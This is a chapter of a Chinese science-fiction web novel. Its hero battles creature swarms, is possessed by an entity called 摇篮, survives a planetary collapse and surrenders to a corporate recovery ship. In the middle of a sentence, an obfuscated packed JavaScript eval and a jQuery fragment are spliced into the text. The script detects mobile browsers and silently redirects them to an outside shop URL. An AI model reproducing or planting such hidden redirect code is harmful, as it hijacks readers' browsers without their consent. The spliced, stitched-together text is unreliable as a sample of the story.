爬行魔太多了。倒下一只，涌上来三只；林晓刚把正面一排射倒，两翼的黑影已经从余光里逼到近前。
他侧身让过一只扑到脑门上方距离的爬行魔，反手把枪托扫在它颈侧，借这一下的力道双腿一蹬整个人腾空而起。他蹬上管状结构凸起的节瘤，两步借力，飞身一跃——一只爬行魔正从下方纵身扑来，从他脚底扑空，他凌空拧腰收腿，枪口朝下补了三发，正中它拱起的背脊。落地不停，他一个前滚翻避开横扫的骨爪，顺势直脚蹬出，正踢在另一只的胸口，把它踹得倒撞进身后的同类堆里；再借着这一蹬的反震力，他弹身而起，跃过一片涌动的黑影，落在一根斜垂的管状结构上，边滑边朝两侧点射，墨绿色的□□在昏光里一路溅开。
几个呼吸的时间，这一连串的闪转腾挪，已远远超出普通人10%能力值的标准。终于对自己身体状况有了更深的了解，林晓满脸潮红，他咧开嘴笑出了声。
“哇。”
他有点爱上这种感觉，热血沸腾的战斗，竭尽身体潜能，在怪群里来回穿梭。
可惜弹药有限，他体力还未耗尽，弹药却打空了。弹匣在他手里轻轻咔哒一声，再无声响。他把空枪当棍横扫，砸开近身的几只，趁隙拔出蜂鸟——是萧厉给他的那把枪，此刻他竟要用它来救自己的命。短距脉冲在贴身处连响，一只肩高近三米的巨型爬行魔被三发□□洞穿头甲，轰然跪倒。十五发，他数着，一发一发，直到蜂鸟也空了。
他把它砸向最近的黑影，拔出腰后的撬棍。合金撬棍在暮色里扫出一道道弧光，敲碎口器，砸断骨爪。可终究体力也是会耗尽的。他的呼吸已经乱得不成样子，肺像被火燎过，半边军装被墨绿色的□□和自己的血浸透——一条骨爪从他肋侧划过，留下三道火辣辣的口子。
林晓踉跄后退，几乎要站不稳，退到一截断塌的管壁后面，背靠着残壁大口喘气。墨形种还在收拢，一圈一圈，像潮水落定前最后的收紧。他摸到腰间的信号弹发射器，还剩最后一发。他对着黑影最密集的方向扣下扳机——一枚炽白的信号弹拖着长尾冲进去，轰然炸开，把整片暮色照得惨白。所有爬行魔在同一瞬间僵住，随即像被磁石吸住一样，齐齐掉头，扑向那团滚烫的白光。
林晓背靠着残壁，缓缓滑坐到地上。远处的撕咬声越来越远，越来越模糊。他低头看自己的手——严重脱力，十根手指都在抖，指甲缝里嵌满黏液和血。
怪群的撕咬声停了，那些黑影一个接一个平静下来，伏低，退开，让出了一条路。暮色深处，一道虚幻飘渺的光团飘到林晓的脚边。
林晓目眦欲裂，他想动，身体却沉得像灌了铅。他眼睁睁看着那道光团攀上的脖子，顺着他后颈的注射接口，一寸一寸渗进他的身体。先是后颈一阵发烫，随后是他的右手——他自己的右手，在他眼前，不受他控制地抬了起来，五指张开，又缓缓攥成拳。然后是左腿，撑着他从地上重新站了起来。
他站在暮色里，站得笔直，却不是他自己站起来的。他还能想，还能看，还能感受，可他已经指挥不动自己的身体了。摇篮住进来了。它绕过了他所有反抗，在他力竭的那一刻，安安静静地，搬进了这具它谋划了许久的躯壳。
林晓盯着自己那只正在握拳的手，心里只剩下一个念头。反反复复，不带任何杂念，只是一个活物燃烧到最后的那点本能——他不想死。他不想就这么把自己交出去，哪怕只剩下这一个念头，他也要攥着它，攥到这具身体彻底毁坏为止。
“终于履行约定，学者，你让我等的好苦。”毫无感情的中性电子合成音在林晓颅内响起，“我的慷慨成就了你，你却拒绝回报我，别以为死亡可以逃避，我的能量无穷无尽……”
视线变得模糊，林晓彻底失去意识前，听到远处极深的地底，传来一声沉闷的、悠长的崩响。像有什么东西，终于破开了束缚。
他的意识沉了下去。
世界在他合眼的那一刻亮成纯白。肆虐汹涌的白光从地底冲破岩层，击穿眠云星低垂的云层——整颗星球的地表，在这一刻，亮如白昼。
数千公里外，FOB-7基地的警报在同一瞬间响成一片。所有前进基地里，所有人都看见了同一样东西：从眠云星地下挣脱出来，化作无数道流向星空的弧光。
林晓醒来的时候，先闻到一股焦糊的、混着潮湿腥气的空气。
“融合失败了吗？”
林晓喃喃自语，他花了一点时间才弄清自己在哪里。他在一条裂谷底部，身下是被碾碎的有机质残骸，灰白色的、曾经温热如血管壁的东西已经僵硬开裂。头顶是一道几乎垂直的裂缝，裂口漏进一线光。
光，眠云星永恒不变的、昏黄的天光。他认得它。他从那条裂缝里，一寸一寸爬了出来。
爬到一半，他才察觉身体不对。肋下被骨爪划开的口子已经不流血了，伤口像被什么烫过又愈合，只剩一道淡白的疤痕。他攀爬的动作比记忆中任何时候都轻，手脚落点稳得像身体自己就会选路。最让他愣住的，是在裂缝尽头探出头的那一刻——他看见极远处的山脊、雾气的纹理，甚至一只正从云隙掠过的东西的翅膀轮廓，清晰得不像话。他伸手去扶眼镜，摸了个空。眼镜早不知丢在下面哪段塌方里了。
可他没有近视。
他站在地表上，站了很久，才确认另一件事：后颈的注射接口安静得像死了一样，不再发出那种规律的、倒数的蜂鸣。空气里那股渗进肺里的甜腥——眠毒——他呼吸了一路，胸口却没有任何该有的反应。这颗星球上能勒住他的三样东西，眠毒、安眠剂与公司，前两者忽然都无法影响他了。他不太懂这意味着什么，他只知道，在这具被什么东西重新浇铸过的身体里，他还活着，而且前所未有的清醒。甚至，他隐隐有种感觉，公司和他的协议也无效化了。
身上无束缚，顿觉天地宽。眠云星已经不是林晓认知里的眠云星了。
别样的情绪在胸腔中激荡，温热的血液流向四肢百骸，自由的意志深深烙印在脑海。
他站的地方是一处高坡的残垣。视野里，大地像被一只巨手拧过，裂出无数道深不见底的豁口，翻起的黑褐色土壤底下，灰白岩层也裂开了。裂缝深处有暗红的、缓慢流动的光，像这颗星球的血管被剖开，一时还流不尽。地平线不再是一条直线，而是断成一截一截。有的地方整片地面都塌陷成新的盆地。远处，有什么正在缓慢下沉——一整块平原，连同上面的蕨类与菌塔，正无声无息地陷进地心。
云层破开，眠云星那层从不让星光漏进来的灰白帷幕，此刻像被无数把刀片划开，露出其下幽黑的星空。白色的天光从缝隙里倾泻下来，一道一道，打在崩裂的大地上，照出无数正在移动的黑影。
墨形种，满目皆是。
如涌动的潮水，爬行魔的黑色脊背覆盖了整个平原，密到看不见地表。它们互相踩踏、推挤，朝某个方向缓慢而不可阻挡地涌动，像一锅烧开的黑粥。裂谷与新生湖泊里，潜泳魔的流线型躯体成片探出水面，黏液在暗红的光里反着光。而天空——云层的裂口之间，飞行魔遮天蔽日地掠过，翅声隔着极远都清晰可闻，沉闷地压在低空，像一床巨大的活乌云，正贴着大地缓慢挪动。
那种生机焕发、万物竞发的景象，犹在眼前。
他听不见摇篮的心跳了。那从踏入地下起就一直贴着骨骼的三长两短的搏动，彻底消失了。这片铺天盖地的黑色，曾经是那颗心脏搏动时泵出的血；如今心脏停了，血还在流，只是不再回返。
它们没有立刻攻击他。
他走下高坡的头几步，最近的一只爬行魔离他不到十米。它停住了，口器半张，像在分辨什么。林晓攥着撬棍的手没有动——他早没有枪了，铁雨打空了，蜂鸟在黑暗里丢了，身上只剩这根撬棍。那只爬行魔盯着他，几秒后，竟缓缓地、像很不情愿地侧开一步，让出一道缝。它身后那些，也一个接一个地让开。潮水在他面前裂开一道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17946142|214071||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
细缝，又在他身后合拢，像大海避开一块它认得的礁石。
林晓认准一个方向，跑了起来。他的目的地是FOB-7，他醒来的地方。他穿过裂开的平原，踩过翻卷的土壤，从一群群缓慢让路的爬行魔之间穿过去。它们让开，又在他身后合拢，像一支沉默地缀在他身后的黑色河流。他不确定它们是在敬畏他，还是只在他身上闻到还没散尽的、让它们臣服的东西。
他跑到FOB-7的坐标时，昏黄的天光已经从云层的裂口漏下来，把脚下的废墟照得无所遁形。他找到了闸门。或者说，找到了闸门曾经在的地方——一道从地心撕到地表的巨大裂谷，横贯了整个基地。合金防爆门被拧成麻花，一半嵌在裂谷壁里，一半悬在半空。食堂、装备库、医疗舱、他苏醒时那间窄小的休眠舱间，全都消失在裂谷的黑暗里，或被塌方掩埋，或被不知何处涌来的黑色黏液覆盖。没有灯光，没有警报，没有应答。
他把手按在腕上那截早已熄灭的战术终端上。通讯频道里只有一片死寂的沙沙声。他试着喊陆衍，又试着喊林檎、苏敏，频道里只有空荡荡的回音。他不知道他们是死了，还是正像他一样，被这片黑潮追赶着，在星球的某个角落逃亡。他甚至不知道萧厉是死是活——那个把他引导进摇篮的阴谋的人。
到底是该痛恨还是该感谢，他不知。也许摇篮成功了，只是他还意识不到。他低头看了看自己的手，他身体里那片陌生的、庞大的力量，正安静地、耐心地等着他使用。
思来想去，林晓得出一个简单的结论——现在的他和之前的他是不一样的，可以说是天差地别，之前只要公司一道准确的自毁指令，他就会销毁；现在则不同，他能决定自己的命运。从某种意义上来说，摇篮是成功的，只不过是他的意识占据了主导。
“命运无常，我还活着。在一颗崩毁的星球上，我还活着，哈哈哈哈……”
身后，潮水合拢的速度正在变快。最近一只爬行魔已经不再让路，而是停在五米外，口器一张一合，像在迟疑，又像在等待什么信号。它们等的那声心跳，永远不会再响了。
林晓转过身。他无处可退——前后左右，除了一道刚吞掉整座基地的裂谷，就是正在收拢的黑色浪潮。他攥紧撬棍，指节发白。
“啧，我还以为命运眷顾我，唉……你们也自由了，为何不离去开始新生，非要为难我？”
密密麻麻的爬行魔不为所动。
就在这时，他从天上的飞行魔潮群空隙里看见了一个东西。
云层的一道裂口里，有什么正破开帷幕，缓缓下降。沉重的、带着金属反光的轮廓，拖着一条细长的笔直尾迹，正对着他所在的坐标压低。林晓眯起眼，在已经不需要眼镜的视野里，看清了船身上的涂装，看清了那个由星辰轨迹组成的无限符号，看清了那个符号下方的一行小字——"探索永无止境"。
星间旅行公司的回收船。
摇篮坍缩的能量信号，足以让任何一个轨道站上的仪器疯狂报警。船腹的探照灯落下来，白得刺眼，把他和他身后那片正要合拢的黑潮照得清清楚楚。离他最近的那只爬行魔在这道白光里僵住，缓缓后退，退回同类的潮水中。
潮水在他身后畏惧地裂开。白光在他头顶钉住。他站在裂缝正中央，仰头看着那艘越来越近的船，第一次发现，自己想不清楚此刻该逃，还是该等。逃，是逃向一片没有活物的废墟；等，是等进一只他比谁都清楚是什么的笼子。
船越来越近。探照灯晃了晃，像在确认他的编号。喇叭里传出一个公事公办的、毫无感情的机械声，隔着风声与翅声，断断续续地落到他耳中：
"……NX-0217……资产回收程序启动……请原地待命，配合检查……"
林晓握紧了那根撬棍。他抬起头，望着那片刺眼的白光，很久。然后他松开撬棍，任它砸在崩裂的地上，发出沉闷的一声响。别无选择，他没有逃，默默走进了那道白光里。